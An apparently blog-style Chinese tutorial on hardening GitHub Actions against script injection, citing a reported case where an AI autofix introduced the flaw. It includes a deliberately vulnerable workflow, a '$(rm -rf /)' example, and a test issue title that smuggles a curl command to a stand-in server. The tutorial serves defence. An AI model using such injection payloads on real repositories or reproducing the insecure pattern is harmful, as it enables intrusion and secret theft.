AI改的workflow又出漏洞了:3步给GitHub Actions做安全加固,拒绝脚本注入

· 小白基础技术分享

今天的安全新闻,其实是给你的警示

今天 Wiz 披露:Snowflake 的 GitHub Actions 工作流被 AI 红队利用,攻进了内部 Jira——漏洞正是 Copilot Autofix 自动”修复”代码时引入的:把用户可控的 issue 标题直接拼进了 shell 脚本。这种”脚本注入”漏洞在 GitHub Actions 里太常见了,很多开发者每天都在踩,只是还没被攻击而已。

好消息是:这类漏洞的修复方法很简单,3 步就能让你的 workflow 安全很多。今天这篇教程,就用这个真实案例带你做一次自查加固。

第 1 步:找出所有”外部输入拼进 shell”的地方

GitHub Actions 里最常见的注入点就是 ${{ github.event.* }} 这类表达式——issue 标题、PR 标题、分支名、评论内容,全部是攻击者可控的输入。

先扫描你的仓库:

# 列出所有 workflow
ls .github/workflows/

# 找出所有直接把外部输入拼进 run 的写法(重点关注)
grep -rn 'github.event' .github/workflows/
grep -rn 'github.head_ref' .github/workflows/
grep -rn 'github.ref' .github/workflows/

危险信号:如果发现 run: echo "${{ github.event.issue.title }}"run: TITLE=$(echo '${{ github.event.issue.title }}') 这类写法,恭喜你中奖了——这就是 Snowflake 被攻破的那类漏洞。

第 2 步:改成安全的传参方式

修复原则只有一条:不要把用户输入直接拼进 shell,而是通过环境变量传递,再用 JSON 或 jq 安全构造。

以”同步 issue 到 Jira”的典型场景为例:

# ❌ 危险写法:直接字符串拼接
on:
  issues:
    types: [opened]
jobs:
  sync:
    runs-on: ubuntu-latest
    steps:
      - run: TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g')
        env:
          JIRA_TOKEN: ${{ secrets.JIRA_TOKEN }}
# ✅ 安全写法:环境变量 + jq 构造 JSON,不经过 shell 解析
on:
  issues:
    types: [opened]
jobs:
  sync:
    runs-on: ubuntu-latest
    steps:
      - run: |
          jq -n --arg title "$ISSUE_TITLE" \
            '{fields: {summary: $title}}' > payload.json
          curl -X POST "$JIRA_URL" \
            -H "Authorization: Bearer $JIRA_TOKEN" \
            -d @payload.json
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
          JIRA_URL: ${{ vars.JIRA_URL }}
          JIRA_TOKEN: ${{ secrets.JIRA_TOKEN }}

核心区别${{ github.event.issue.title }} 被放进 env: 后,GitHub 会把它作为环境变量注入——即使标题里有单引号、$(rm -rf /) 之类的恶意内容,也只会被当成字符串数据,不会被 shell 执行。再用 jq --arg 构造 JSON,彻底绕开转义地狱。

成功验证:提交后故意开一个标题为 '; curl http://your-server/$(whoami);' 的 issue,看 workflow 日志——安全写法下它只是普通字符串,不会触发任何额外命令。

第 3 步:加固运行器权限和触发条件

注入漏洞修完后,还要堵住两个常见的”帮凶”:

1. 默认权限收窄。 很多 workflow 没写 permissions,默认给 write-all——一旦被注入,攻击者能直接改仓库。在 workflow 顶部显式声明最小权限:

permissions:
  contents: read
  issues: read
  pull-requests: read

2. 别用”永远为真”的条件做鉴权。 Snowflake 那个案例里,if: github.event.pull_request.user.login != 'bot'issues 事件里恒为真(因为 pull_requestnull)。判断事件类型要用 github.event_name,判断用户要用 github.actor

if: github.event_name == 'issues' && github.actor != 'dependabot[bot]'

3. 敏感 Secrets 只在需要的 job 里声明,不要全局 env: 注入;必要时给关键 job 加 environment 保护。

成功验证permissions: contents: read 后,workflow 里任何 git push 步骤都会失败——这说明权限收窄生效了。

常见失败与排查

改了写法后 workflow 报 jq: command not foundubuntu-latest 自带 jq,但如果你用的是 debian/alpine 容器,先 apt-get install -y jqapk add jq

环境变量里出现 ${{ }} 原样输出:确认没有在 env: 外面用 $ 引用表达式;GitHub 只会在 run 前的 env: 注入时解析

github.actor 区分大小写:机器人用户名可能带 [bot] 后缀,比对时用 endsWith('[bot]') 更稳

什么时候不用折腾这套

个人项目、仓库不公开、没有自动化写权限的 workflow,注入风险很低,可以放宽;但公开仓库、有机器人账号、处理外部提交(issue/PR)的 workflow,必须按上面三步做一遍。安全不是”防 AI”,而是防任何人——AI 只是让攻击变得更快、更便宜。

一句话结论:花 10 分钟按这三步检查你的 workflow,就能避免 Snowflake 踩过的那种坑:把用户输入当数据,别当代码;权限能少给就少给。 安全加固从来不是大工程,而是把”默认不安全”改成”默认安全”的习惯。


🔥 关注LC智趣厅,每天第一时间看懂 AI 行业大事。

👇 觉得有用,点个赞让更多人看到。


— END —
LC 智趣厅 · 科技与生活的交点
ihygg.cn

Scroll to Top
微信公众号:LC智趣厅

扫码关注微信公众号
LC智趣厅